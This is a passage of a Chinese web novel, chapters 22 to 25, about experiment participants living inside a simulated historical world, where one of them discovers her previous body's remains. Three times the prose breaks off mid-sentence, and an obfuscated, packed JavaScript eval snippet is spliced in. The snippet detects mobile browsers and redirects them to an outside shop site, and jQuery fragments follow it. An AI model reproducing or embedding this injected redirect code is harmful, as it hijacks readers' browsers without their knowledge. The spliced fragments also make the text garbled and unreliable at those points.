“好。”父亲似乎对我的顺从感到满意,语气缓和了些,“你母亲那边,我自会与她分说。这段时日,府里会安静些,你正好静静心。”
他说完,又看了我一眼,那目光似乎在我略显苍白的脸上停留了一瞬,然后便转身,步履平稳地离开了书房。
门轻轻合上。
我独自坐在偌大的书房里,良久没有动弹。窗外,天色彻底阴了下来,远处隐隐传来闷雷的滚动声,山雨欲来的气息愈发浓重。
我重新提起笔,蘸饱了墨,却觉得这笔有千斤重。摊在眼前的书目,那些关于海外风物、山川地理的文字,此刻读来却有些恍惚,仿佛隔着一层毛玻璃。
连州的风暴,似乎就要来了。
我深吸一口气,先顾眼前吧,我对自己说,待在府里,什么都别问,什么都别说。
山雨欲来,满楼风。而我,只盼这林府的高楼,足够坚固,足够深,深到可以让我假装,外面的风雨,与我无关。
22. 第二十二章 故人相逢
马被拦下的瞬间,何翯的手已经按在了剑柄上。她垂眸看着拦在马前那个衣衫褴褛、满脸污垢的乞丐,对方双臂张开,姿态却莫名有种熟稔的随意。
“来者何人?”何翯的声音很淡,听不出情绪。
乞丐“嘿嘿”笑了声,那笑声里带着点玩世不恭的调子,与这副落魄皮囊格格不入。他拍了拍身上的尘土,其实也没什么好拍的,那身衣服早已看不出原色。然后,他像模像样地拱了拱手:“草民班斑,拜见何大人。”
何翯盯着他看了两息,忽然“锃”地一声拔剑出鞘。剑光雪亮,在午后的阳光下划过一道冷弧,稳稳架在了乞丐的肩头,剑锋离他颈侧只有寸许。
“你可知阻拦朝廷命官是何下场?”何翯的语气依旧平淡,剑锋上的寒意凛人。
班斑却像是没感觉到那锋刃似的,双膝一软,“噗通”跪了下去,动作夸张得近乎滑稽。他甚至还清了清嗓子,拉长了调子,像戏台上念白般高声道:“启禀大人!依我朝律例,无故阻拦官员车驾、妨碍公务者,当杖责一百,游街三日,以儆效尤——”
他还没“效”完,何翯已经嗤笑一声,手腕一翻,利落地收剑回鞘。
“得了。”她居高临下地看着还跪在地上的班斑,嘴角勾起一个似笑非笑的弧度,“你根本没好好看过律例。拦钦差依律是杖八十,徒一年。哪来的游街三日?编得倒挺像那么回事。”
班斑抬起头,脏兮兮的脸上露出一个灿烂的笑容,露出一口与乞丐身份极不相称的、整齐的白牙。
“哎呀,被识破了。”他拍拍膝盖站起来,动作自然得仿佛刚才跪的不是他,“这不是显得有气势嘛。”
何翯没接这话茬,目光在他身上扫了一圈,重点在那明显属于男性的略显宽阔的骨架和喉结上停留了一瞬。
“这次怎么变男人了?”她问得直接。
班斑耸耸肩,这个动作由现在的他做出来,带着点粗犷的随意。
“不道啊。”他用了个有点含糊的口头禅,“醒来就这样了。确实是新体验。”他顿了顿,补充道,“就是不太方便,撒尿都得站着。”
何翯显然对他如厕方式的改变毫无兴趣,她看了看天色,又瞥了眼班斑那身实在有碍观瞻的行头,忽然伸出手:“上来。”
班斑愣了一下。
何翯已经俯身,一把抓住了他脏污的胳膊。她的手很稳,力道不小,完全没在意那些污垢是否会弄脏她身上那件料子不错的官服便装。班斑借力一蹬,有些笨拙地翻身上马,坐在了何翯身后。马儿不安地打了个响鼻,对多出来的、气味不佳的乘客表示抗议。
“坐稳。”何翯简短地吩咐了一句,一抖缰绳,马儿便小跑起来。
班斑倒也毫不客气,双臂往前一伸,松松地环住何翯的腰。何翯身体几不可察地僵了一下,但没说什么。
马蹄嘚嘚,穿过略显萧条的县城街道,出了城门,沿着官道跑了一段,拐上一条长满杂草的小径。约莫一刻钟后,前方出现了一片稀疏的林子,林边有间看起来废弃已久的木屋,屋顶塌了半边,门板歪斜。
何翯勒马,利落地翻身下来,将缰绳系在屋前一棵半枯的树上。班斑也跟着滑下马背,动作比起何翯的干脆,显得有点拖泥带水。
“你这次来多久了?”何翯一边检查马匹的系扣,一边头也不回地问。
“不长,才一个月。”班斑活动了一下手脚,打量着四周环境,“这地方选得挺僻静啊,何大人。”
何翯没理会他的调侃,转身推开那扇吱呀作响的木门,走了进去。屋里弥漫着一股灰尘和霉烂木头混合的气味,但意外地没有太多杂物,地面也算平整,像是被人简单清理过。墙角甚至铺着些干草,上面扔着一件半旧的斗篷。
班斑跟着进来,顺手带上了门。光线从破损的屋顶和墙缝漏进来,形成一道道昏黄的光柱,灰尘在光柱里飞舞。
“涵涵呢?”何翯在干草堆上坐下,拍了拍旁边的位置,示意班斑也坐。
班斑没客气,一屁股坐下,拿起那件斗篷嗅了嗅,又嫌弃地扔开。
“还没空找呢。”他往后一靠,倚着斑驳的墙壁,“这开局太次了,光想着怎么填饱肚子,让自己别饿死。你是钦差,找你最好找。你有涵涵消息没?”
何翯摇摇头:“我这次南下是查案,不是寻人。不过既然你来了,我会留意。”她顿了顿,看向班斑,语气里带上一丝别的意味,“你死的这段时间,我倒是找到琪琪了。”
班斑原本有些散漫的眼神瞬间聚焦。“琪琪?”他坐直了些,“现实里我在实验室还见过她呢,刚出来的时候,失魂落魄的,看着怪可怜。”
“嗯。”何翯点头,“她这次日子好着呢。林二小姐。”
“林二小姐?”班斑重复了一遍,眼睛慢慢瞪大,“是我知道的那个林家吗?长桥县巨富,香料生意做得风生水起,跟州府乃至京城都有来往的那个林家?”
何翯再次点头,脸上没什么表情,但眼神里有点看好戏的意味。
“嚯——”班斑长长地吐出一口气,抬手抹了把脸,结果抹了一手黑灰,他也懒得管了,“那可真是……冤家路窄。”他回味着这个词,语气变得有些古怪,“林家上次搞死我的时候,可没听说还有林二小姐这么号人呢。”
“那是自然。”何翯接口,语气平淡得像在说今天天气不错,“弄死你的是林大公子林景明。林晚琪是林家这一代唯一的女儿,行二,上面就那个哥哥。之前年纪小,养在深闺,外人知道得少。这两年及笄了,才慢慢在交际场合露面。”
班斑摸着下巴上新冒出来硬扎扎的胡茬,眼神飘向漏光的屋顶,半晌没说话。
何翯饶有兴趣地看着他:“然后呢?你连她也要办?”她问得轻描淡写,仿佛在问晚饭吃什么。
班斑收回目光,看向何翯,忽然咧嘴笑了,那笑容在脏污的脸上显得有些邪气,眼里闪着一种近乎冷酷的兴味。“看情况吧。”他慢悠悠地说,“计划总是赶不上变化的。再说了……”他拖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119603|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长了调子,“她有些毛病得改。”
“毛病?”何翯挑眉。
“贪生怕死,恋慕富贵,脑子不算灵光,还容易心软。”班斑掰着手指头数,语气却不像批评,倒像在点评一件有趣的玩具,“在青石村那会儿就这样。现在当了大小姐,怕是更甚。这种性子,在这种世道,在这种家里……”他摇摇头,没说完,但意思很明显。
何翯的语调变得有些玩味儿:“这么无情?所以你上次在青石村故意没救她?”
“这你就污蔑我了!”班斑叫起来,“我找到那个村的时候,她已经死了!而且说起这个,何大人,咱俩谁更无情?你可是眼睁睁看着我被人乱刀砍死,都没露个面呢。”他说这话时,脸上还带着笑。
何翯面不改色:“我当时有公务在身,不便插手。何况,你自己找死,怨不得旁人。”
“是是是,我找死。”班斑摆摆手,懒得争辩,话题一转,“不过你真的很能活哎,何大人。我这都死几轮了?你倒好,每次都稳稳当当的。”
何翯翻了个白眼,这个动作由她做出来,冲淡了不少官威,倒显出几分真实性情。“我也不知道你为啥老是莽。死亡的感觉很好受吗?”她反问。
“呀!”班斑像是被踩了尾巴,声音都高了些,“人上头了根本没法忍好吧!那次在清河镇,眼看那狗官要把灾粮吞了,我能当没看见?谁知道那个林家下手那么黑,直接灭口……”
“所以你就死了。”何翯总结。
班斑噎住,悻悻地“哼”了一声。
“行了。”何翯敷衍地应着,站起身,拍了拍官服下摆沾上的草屑,“说正事。你接下来什么打算?继续当乞丐?”
班斑也站起来,伸了个懒腰,骨头咔吧作响。“先混着呗,找找涵涵。我这身份虽然埋汰,但方便打听消息,也不惹眼。你那边呢?查什么案子,需要我帮忙不?”
何翯走到门边,透过缝隙往外看了看。“清河镇一带,近半年多,失踪人口有点多,尤其是流民和半大孩子。上面觉得不太对劲,让我来看看。”她回头看了班斑一眼,“跟你上次死因,说不定有点关联。”
班斑的眼神锐利了一瞬。“又是人口?”他冷笑,“这地方还真是……烂到根了。”
“烂不烂,查了才知道。”何翯推开门,午后的阳光涌进来,有些刺眼,“我先回县衙。你……自己小心。别又莫名其妙死了。”
“知道啦,盒妈妈。”班斑拖长了声音,嬉皮笑脸。
何翯懒得理他,解了马缰,翻身上马。
“对了,”班斑忽然想起什么,冲她背影喊了一句,“林家那边,特别是那位林二小姐……有什么特别动静,记得告诉我一声。”
何翯勒住马,回头看他,夕阳给她侧脸镀上一层金边,看不清表情。
“怎么?真要对她下手?”
班斑站在破木屋的阴影里,脏兮兮的脸上,笑容模糊不清。
“谁知道呢。”他说,“也许,只是好奇。”
23. 第二十三章 茶寮惊魂
父亲关于御史南下的告诫,像一层无形的薄冰,覆盖在林府往日的从容之上。府里的气氛明显沉静了许多。连母亲去各府走动都少了,更多时间留在家里,督促我女红,或是检查我誊抄的书目。
赵珩借书,成为沉闷日子里唯一的外界气息。书目终于抄完,母亲过目后,让林福派了个伶俐的小厮,送往县衙后宅。不过两日,回礼和回帖便来了。
两盒精致的文房点心,并一本赵珩手抄的唐人诗集,字迹清隽飘逸。回帖言辞恳切,他邀我后日同游,并言已禀明母亲,赵夫人亦觉此乃雅事,若林小姐得暇,盼能成行。
“赵公子倒是周到。”母亲语气平淡,“落霞坡离城不远,景致也还清静。你父亲的意思,既是寻常交往,不必过于拘谨。你整日在府里,也闷坏了,出去散散心也好。”
“母亲……不一同去吗?”我下意识地问,带着一丝自己都未察觉的依赖。
母亲看了我一眼,那目光里带着一种了然的审视,随即化为淡淡的,不容置疑的规划:“赵公子邀的是你,我若同去,反而不美。年轻人自有年轻人的相处之道。春竹、秋穗跟着,林福再安排两个最稳妥的护院,早去早回便是。”她顿了顿,指尖在诗稿上轻轻一点,“赵公子家风清正,举止有度,你只需言行得体,不失林家门风即可。这也是你该学的。”
“是。”我低下头。母亲的话堵死了我任何退缩的借口。
后日一早,天色澄澈。我换了身便于行动的浅碧色绣缠枝兰草的襦裙,外罩月白比甲,头发简单绾起,镜中人清丽温婉。只是偶尔,当我不经意间瞥见镜中那双眼睛深处一闪而过,与这稚嫩脸庞不符的沉郁时,会有一瞬间的恍惚,想起我本来是个三十岁出头的人。
马车出了城,沿着官道行驶小半个时辰,便拐上一条略窄但平整的土路。不多时,眼前豁然开朗。一片缓坡向阳展开,绿草如茵,间或点缀着野花。坡顶视野极好,能望见远处连绵的春山,坡下有条清澈的小溪。
赵珩已经到了,身边只跟着一个书童和一个中年仆从。他今日穿着雨过天青色的直裰,更显身姿挺拔。见我的马车停下,他含笑迎了上来。
“林小姐。”他拱手行礼,笑容明朗,“劳烦移步,珩深感荣幸。此处简陋,唯有清风野趣,还望莫要嫌弃。”
“赵公子客气。”我回礼,“此处景致甚好,有劳公子费心。”
“林小姐请看,”赵珩引着我沿小径往坡上走,指着远处山峦,“那便是西岭余脉。春日山色,晨间青黛,午后苍翠,待到夕阳染金,故有‘落霞’之名。”
我顺着他指的方向望去,阳光下的山色温柔宁静。
“确实很美。”我轻声应道。
赵珩很会引导话题,谈论诗词典故,或是本地风物传说,语气轻松,不会让人感到压力。我大多时候只是听着,偶尔附和。他学识颇丰,且懂得照顾听者,不会一味掉书袋。我们保持着恰到好处的距离,他的举止始终礼貌周全。我能感觉到他试图营造一种轻松愉快的氛围,而我也尽力配合,扮演一个羞怯但知礼的闺秀。
坡上风有些大,赵珩很自然地侧身,替我挡了些风。这个细微的举动体贴而不逾矩。我低声道谢,心里却想,若真是十五六岁的林晚琪,此刻大概会脸红心跳吧。而现在的我,只有一种被妥善照顾且略带疏离的感激。
我们在坡顶驻足,从这里望去,景色更佳,能隐约看到更远处官道的某一段。
“那边官道旁,似乎有个茶寮?”我随口问道,只是为了说点什么,也为了确认位置。
赵珩看了一眼,点头:“是。是个老茶寮,多是过往行商、脚夫歇脚之处。茶粗陋,但炊饼实在。”他笑了笑,语气里带着一种出身良好的少年对底层生活略带好奇的俯视,“不过,那里鱼龙混杂,不比家中茶楼清净。”
日头渐高,赵珩接着提议:“走了这些路,林小姐想必也渴了。回城路上,倒可去那茶寮略坐坐,用些茶点再回府,免得空腹颠簸。只是地方粗陋,不知林小姐意下如何?”
我其实不想去,有点厌倦那种环境,厌倦可能出现的麻烦,更厌倦被迫去面对与我此刻身份格格不入的粗粝。但赵珩提议得自然,且是出于照顾,若断然拒绝,显得过于娇气,也不符合林二小姐该有的教养。
我犹豫了一下,目光扫过春竹。春竹微微摇头,眼里有不赞同。但赵珩正温和而期待地看着我。
“……也好。”我听见自己说,声音平静,“有劳公子。”
一行人下了坡,马车行至官道,不多时便到了那茶寮。
果然简陋。茅草顶,竹木为架,四面透风。门口空地上摆着几张粗木桌凳,已经坐了几伙人。有赶着驴车风尘仆仆的货郎,有挑着担子歇脚的农夫,还有两个眼神精悍的行脚商人。茶寮老板是个干瘦老头,正提着大铜壶给客人续水。
我们的到来,像一颗石子投入浑浊的水塘。几桌客人都停下了交谈,目光齐刷刷地投了过来。
赵珩神色自若,仿佛早已习惯成为焦点,引着我走向最靠边一张相对干净的桌子。春竹和秋穗连忙拿出自带的细布铺在凳子上。
“委屈林小姐了。”赵珩歉然道,吩咐书童去让老板上些干净的茶水和炊饼。
我坐下,垂着眼,用帕子轻轻掩了掩口鼻。不是矫情,是那混合气味确实令人不适。
粗陶碗的茶水和焦黄的炊饼很快上来。茶水浑浊,炊饼粗糙。我没有动。赵珩也只略沾了沾唇,显然也不习惯这种饮食。他似乎为了缓解尴尬,与我低声说着话,话题转向他近日读某本游记的感想,说起海外风物。
我有些心不在焉,目光借着垂眼的掩护,无意识地扫视着周围。然后,定格在旁边那桌。
那桌坐着三个汉子,衣着陈旧,面容粗犷黝黑,手上骨节粗大,带着长期在山野劳作的痕迹,是猎户。桌上放着鼓鼓囊囊的包袱和一把用旧布仔细裹着的长条物件,看形状是猎叉或柴刀。他们正凑在一起,低声说着什么,声音压得很低,带着山里人特有的、略显沉闷的口音。
其中一个年长的,约莫五十多岁,脸上皱纹深如刀刻。他小心翼翼地从怀里掏出一个脏得看不出原色的小旧布包,放在桌上,一层层打开。里面是几样零碎东西。他拿起一样,递给对面的年轻同伴看,嘴里嘟囔着,声音断断续续飘来:“……就这些,王掌柜给的那点跑腿钱,也就够摸个边儿……真当是去挖宝?”
我的目光随意扫过布包里的东西,一个锈蚀得几乎看不出形状的铁箭头,半截乌木簪子,几块边缘锋利的碎陶片……都是山里、废墟里常见的破烂,不值钱。
然后,我的视线,像被无形的钉子钉住,死死锁在了老猎户此刻捏在手里的那样东西上。那样东西,在透过茅草缝隙漏下有些浑浊的阳光里,反射出一点黯淡的黄铜色泽。
那形状……
木鱼头。凹字三齿。一刀痕。
时间、声音、气味……一切感知都在那一刻被抽离。茶寮里所有的嘈杂,赵珩温和的语调,风吹茅草的窸窣,甚至我自己呼吸的声音,全都像被一只巨手抹去。只剩下死寂,和心脏在胸腔里疯狂擂动,几乎要撞碎肋骨的巨响。血液冲上头顶,又在瞬间冻结,带来一阵天旋地转的冰冷眩晕。
那把钥匙……那把样式独一无二的黄铜钥匙……
老猎户的声音,穿过那层死寂的薄膜,断断续续,却字字如冰锥,凿进我的耳膜、我的脑子:“……挂在狼标子低坡那具尸骨的颈骨上,麻绳都烂了。看骨头,是个成年女子,死了有些时日了,肉早没了……”
成年女子……尸骨……颈骨上……
我猛地低下头,动作僵硬得如同生锈的木偶,死死盯着自己面前粗陶茶碗里那浑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119604|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浊微微晃动的茶水。水面模糊地映出一张脸——属于林晚琪的,也是属于我的年轻娇嫩的脸,此刻却惨白得没有一丝血色,嘴唇不受控制地哆嗦着,那双眼睛睁得极大,瞳孔深处是无法掩饰的、近乎崩溃的惊骇。
手指冰凉,完全失去了知觉,不听使唤地抽搐了一下,碰翻了茶碗。
“哐当”一声脆响,在突然恢复的嘈杂背景音中,显得格外刺耳。
“小姐!”春竹的惊呼近在咫尺,又仿佛远在天边。她慌忙上前,用帕子擦拭泼洒的茶水和弄湿的桌布、裙角。
赵珩也停下了话语,关切地倾身过来:“林小姐?可是烫着了?还是哪里不适?”他的声音里带着真诚的担忧。
“没……没什么。”我听到自己的声音,飘忽得像是从另一个人的喉咙里挤出来的,每一个字都耗费着巨大的力气,“手……手滑了。没拿稳。”
我强迫自己抬起头,脸部肌肉僵硬地调动,试图挤出一个无妨的笑容。但那笑容一定扭曲难看极了。
那把钥匙的形状带着灼热的痛感——
我的钥匙。阿山母亲留下的、那个小铁盒的钥匙。我一直贴身藏着,直到……直到上一次生命的终结。
它挂在“狼标子”一具成年女子尸骨的颈骨上。
那具尸骨……是谁?
答案,像早已潜伏在深渊的巨兽,终于挣破冰面,带着彻骨的寒气和毁灭性的真实,撞入我的意识。
死在狼标子附近。
身上挂着那把独一无二的属于“青石村那个我”的钥匙。
那具尸骨……是“我”。
是上一次实验里,死在狼群口中的,三十岁的“我”。
“啪嗒。”
一滴冷汗,从我额角滑落,滴在桌布上,形成一小团深色痕迹。
赵珩温和的声音再次传来,带着一丝不容拒绝的体贴:“林小姐脸色很不好,此处风大土浊,实在不宜久留。不如我们早些回去,请个大夫瞧瞧?”
我像是即将溺毙的人抓住了浮木,几乎是迫不及待地点头,声音颤抖得厉害:“好……好的。有劳……有劳公子。”
我几乎是半倚在春竹和秋穗身上,被她们半扶半架着弄上马车的,腿软得不像自己的。上车前最后一瞬,我用眼角余光扫了一眼那猎户的桌子。
老猎户已经把那把黄铜钥匙重新用旧布仔细包好,正塞回怀里贴身处。他端起粗陶碗,喝了一大口茶,对旁边桌这位娇小姐的失态和匆匆离去毫不在意,继续与同伴低声说着山里的事。
马车启动,车轮碾过官道的尘土。我蜷缩在车厢最里面的角落,止不住从骨头缝里渗出寒意。
我确实又进入了同一个世界里,而我上一次的死亡居然留下了痕迹,这是我这段时间沉溺在林府的安宁,一直拖延着没有去证实的事情。难道我的每次出现都不是凭空创造的角色,而是这个世界原本就存在的人被我夺舍了?那这个世界究竟是不是真的?被我意识夺取控制权的身体原本应该有着怎么样的人生?
一种荒诞至极、又冰冷无比的真实感,扼住了我的喉咙。我突然想到了研究人员那种把进入这个世界当成一种游戏的态度。
“小姐,您还在发抖。”春竹的声音带着哭腔,她试图把暖手炉塞进我手里,“咱们马上就到家了,到家就好了……”
不……琪琪,别慌,这都是假的,别认错世界了……这个世界是假的。
我紧紧闭着眼,指甲深深掐进掌心。
马车在平整的官道上疾驰,车厢微微摇晃。外面是春日的阳光和田野,是真实得触手可及的世界。这些都是代码,是数据,是实验室里冰冷的休眠舱,只是真实的可怕,令人分辨不清。
赵珩在车外隔着车窗礼貌地道别,声音依旧清朗温和,嘱咐书童护送我们回府。我含糊地应着,一个字也没听清。
24. 第二十四章 李大昌
马车驶入林府侧门,车轮碾过青石板的声响,终于将我从那片冰冷的、无声的惊涛骇浪中,稍稍拉回现实。没错……琪琪,这些都是假的。我只是来参加实验的,拿8万美金的,没必要把这些当回事,这些都是剧情罢了。
我反复默念着这几句话,像抓住一根脆弱的稻草。可指尖依旧冰凉,那股从骨髓深处渗出的寒意,怎么也驱不散。
“小姐,到家了。”春竹的声音小心翼翼,她和秋穗一左一右搀扶我下车。
母亲已经等在二门内的穿堂,她脸上没什么表情,但眼神锐利得像针,在我身上迅速扫过。
“怎么回事?”她问,声音不高,却让扶着我的春竹和秋穗都瑟缩了一下。
“回夫人,”春竹声音发颤,“小姐在茶寮……不慎打翻了茶碗,许是受了惊,回来路上一直……”
“我问你了吗?”母亲淡淡打断她,目光落在我脸上,“晚琪,你自己说。”
我张了张嘴,喉咙干涩发紧。脑子里乱糟糟的,那些自我安慰的话,在母亲审视的目光下显得苍白无力。我总不能说因为知道自己的尸骨在哪里而受到了惊吓吧……
“是女儿失仪。”我垂下眼,声音低得几乎听不见,“茶寮风大,尘土重,女儿一时不适,手滑,惊扰赵公子,也让母亲担心了。”
母亲沉默地看着我,穿堂里安静得能听见远处隐约的扫地声。那沉默像无形的压力,沉甸甸地压在我肩上。
“只是风尘大?”她缓缓问,语气里听不出信或不信,“赵公子派人先一步回来递话,说你脸色煞白,几乎站立不稳。若只是寻常不适,何至于此?”
我指尖掐进掌心,疼痛让我稍微清醒了些。“女儿……女儿也不知。许是近日抄书累了,又吹了风,一时气血不稳。”我努力让声音听起来平稳,甚至带上一点恰到好处的虚弱和懊恼,“是女儿没用,扫了赵公子的兴,也给家里丢脸了。”
母亲的目光在我脸上停留许久,几不可察地蹙了蹙眉,那蹙起的纹路里,藏着一丝难以言说的复杂情绪。
“罢了。”她终于开口,语气恢复了惯常的平淡,“既是不适,便好生歇着。春竹,扶小姐回房,让厨房熬碗安神定惊的汤药送去。秋穗,去请王大夫来一趟,仔细瞧瞧。”
“是。”两个丫鬟连忙应下。
我几乎是逃也似的回自己的院子。一进屋,我便瘫坐在梳妆台前的绣墩上,看着铜镜里那张依旧苍白、惊魂未定的脸。
“小姐……”春竹担忧地绞着帕子,“您到底怎么了?那茶寮……”
“别问。”我打断她,声音嘶哑,“什么都别问。让我一个人静静。”
春竹咬了咬唇,不敢再言,默默退到外间守着。
我闭上眼,那把黄铜钥匙的形状,老猎户平淡的叙述,还有“成年女子尸骨”这几个字,再次不受控制地翻涌上来。我还需要去收尸吗?收阿山和妞妞的尸,顺便收自己的尸?简直荒诞至极……
外间传来轻轻的叩门声,是秋穗的声音:“小姐,王大夫来了。”
我深吸一口气,强迫自己镇定下来。“请进来。”
王大夫是林府常用的老大夫,诊脉仔细。他为我诊脉,又看我的舌苔、气色,沉吟片刻道:“小姐脉象略浮,心神受扰,气血有些不稳。并无大碍,许是外出劳累,又受了些风邪惊悸。老夫开一剂安神疏肝、调和气血的方子,静养两日便好。”
我谢过大夫。母亲那边也打发人来问过,听闻无甚大病,便只嘱咐我好生休息。
汤药很快煎好送来,黑褐色的药汁散发着苦涩的气味。我屏息一口饮尽,那苦涩从舌尖蔓延到心底,却奇异地让我混乱的思绪稍微沉淀下来。
无论如何,我现在是林晚琪,我也不想痛苦地死去。我必须扮演好这个角色,直到这次实验结束。连州的风暴,清河镇的暗流,甚至那把钥匙……只要不直接威胁到“林晚琪”的安全和富贵,我都可以暂时……不去深究。
对,不去深究。我只需要享受这锦衣玉食,完成这场“旅途”。
这个念头像一剂更有效的安神药,让我紧绷的神经稍稍松弛。我躺回床上,拉过锦被盖住头脸,试图将一切隔绝在外。
然而,树欲静而风不止。
就在我服药,昏昏沉沉将睡未睡之际,听见外院隐约传来一些不寻常的动静。似乎有陌生带着几分官腔的说话声,还有林福刻意压低却难掩谨慎的应对。
我本不想理会,但那声音断断续续,像细小的针,刺破了我试图营造的宁静。
“……李师爷亲自到访,老爷正在书房……”
我心头猛地一跳。那位新来的的李师爷?他怎么会来林府?还直接要见父亲?
一种不祥的预感涌现,我轻轻起身,走到窗边,将窗户推开一条细缝。声音清晰了些。
“……烦请林管家通禀,就说长桥县户房李大昌,有要事求见林老爷。”那声音不高,带着一种文吏特有略显油滑的平稳,但字句清晰,不容拒绝。
李大昌?李大先生吗?
我屏住呼吸。
“李师爷稍候,小的这就去禀报。”林福的声音依旧恭敬,但透着一丝不易察觉的紧绷。院子里安静下来,只剩下那个自称李大昌的人,似乎在不紧不慢地踱步等待。
林福的声音再次响起:“李师爷,老爷有请,这边走。”
脚步声朝着父亲书房的方向去了。
我关上窗户,回到床边坐下,心乱如麻。
时间在焦灼的等待中缓慢流逝。约莫小半个时辰后,我听到书房方向的门开了,交谈声再次传来,比之前清晰,似乎正朝外院走来。
我忍不住又走到外院的围墙边。透过花窗,我看到父亲正陪着一个人往外走。那人约莫四十四五岁年纪,身材精瘦,穿着一身半新不旧的靛蓝大袖袍,外面罩了件深灰色的棉马褂,打扮像个寻常文吏。正是李大昌!他的面容比在青石村时似乎更添了几分城府和油滑,但那种精于算计,骨子里透着的冷硬气息,丝毫未变。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119605|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>父亲脸上带着惯常客气而疏离的笑容,正说着什么“有劳李师爷费心”、“衙门公务繁忙”之类的客套话。李大昌微微颔首,脸上也挂着公式化的笑,目光却像探针一样,不动声色地扫视着四周。就在他们即将走出月洞门时,李大昌的脚步几不可察地顿了一下。他的目光,恰好落在了花窗上,或者说,落在了窗后,我因为紧张而微微探出的半张脸上。
那一瞬间,他脸上的笑容凝固了,锐利的眼睛里闪过一丝极其明显的错愕和……惊疑。那眼神,不像是在看一个初次见面的、富商家的小姐,倒像是在辨认某个……绝不应该出现在这里、却又似曾相识的故人。
他的视线在我脸上停留了足足有十几秒的时间,久到连父亲都察觉到了异样,顺着他的目光也朝我这边看了一眼。
我慌忙缩回头,心脏狂跳,几乎要撞出胸腔。
窗外,传来李大昌平静的声音,但比之前略微低沉了些:“……那位是府上小姐?”
父亲的声音依旧平稳:“正是小女。方才身子有些不适,在房中休息。失礼之处,李师爷勿怪。”
“岂敢。”李大昌的声音听不出情绪,“林小姐……玉体欠安,是该好生将息。只是……”他顿了顿,语气里带上了一丝恰到好处,仿佛只是随口一提的好奇,“方才惊鸿一瞥,令嫒的容貌……倒让在下觉得有几分面善,似是在何处见过一般。许是错觉吧。”
父亲笑着,语气淡然:“小女自幼长于闺中,甚少外出,李师爷怕是记岔了。”
“许是,许是。”李大昌也笑了两声,笑声里没什么温度,“林老爷留步,在下告辞。”
脚步声渐渐远去。
我回到房间瘫坐在冰凉的地面上,背靠着床沿,浑身发冷,止不住地颤抖。
李大昌认出我了?
不,不可能。我现在是十五六岁的面容,不是三十岁死在狼群口的那个蹉跎村妇的样子。他怎么可能认得?
可是……他那眼神里的惊疑和“面善”的说辞……绝非作伪。他一定是从这张脸上,看到了某个让他感到熟悉,甚至震惊的影子。
是谁?是原来的琪琪?还是……这一世的“林晚琪”?
窗外,天色不知何时已完全暗了下来。春竹轻手轻脚地进来点灯,看到我坐在地上,吓了一跳:“小姐!您怎么坐地上了?当心着凉!”
她连忙扶我起来。我任由她摆布,脑子里李大昌那双锐利而惊疑的眼睛,反复闪现。
前院书房里,林老爷在送走李大昌后,独自在书案前坐了许久。烛光摇曳,映着他沉静而略显凝重的脸。他展开方才李大昌留下的一封薄薄的书信,又仔细看了一遍,目光在信末某个称谓和印鉴上停留良久,然后,将信纸缓缓凑近烛火。
火苗舔舐着纸张边缘,迅速蔓延,将那几行字迹吞噬,化作一小撮灰烬,无声地落在冰冷的铜质笔洗里。
父亲吹熄了烛火,书房陷入一片黑暗。只有窗外,一弯冷月,无声地窥视着这座看似平静的深宅大院。
25. 第二十五章 新皮与旧债
几天后,连州城西码头区边缘,一家专做水手和苦力生意的廉价酒馆里,多了个新来的帮工。
他自称“阿班”,二十出头年纪,个子中等,身形偏瘦但看着结实。一张脸谈不上多俊俏,但眉眼清晰,鼻梁挺直,下巴的线条带着点年轻人特有的硬朗。皮肤是常年在外的麦色,嘴角习惯性地微微上翘,不笑的时候也像带着三分懒散的笑意。最引人注意的是他那双眼睛,瞳仁很黑,看人时目光直接,偶尔闪过些市井里摸爬滚打出来的机灵劲儿,但大部分时间显得有点……漫不经心,或者说,对什么都提不起太大兴趣的样子。
他穿着码头区最常见的粗布衣裳——深灰色窄袖上衣,同色束脚裤,腰间系着条半旧的褐色布带,脚上一双磨得发白的黑布鞋。干净,利落,但一眼就能看出料子廉价,洗得次数多了,颜色有些发白。这身打扮混在码头区的人群里,毫不起眼。
酒馆老板是个独眼的老头,人称“独眼张”,年轻时也在海上漂过,脾气古怪,但看人有一套。他收留阿班,是因为这小子手脚麻利,眼里有活,而且便宜。阿班要的工钱极低,只求有个遮风挡雨的地方和一口饱饭。
“阿班,去把后面那几坛酒搬出来!”独眼张叼着旱烟杆,含糊不清地吩咐。
“好嘞,张伯。”阿班应得爽快,转身就去了后院。他搬酒坛的动作稳当,手臂上绷起的线条显示出力道。几趟下来,额角见了汗,他用袖子随意一抹,继续干活。
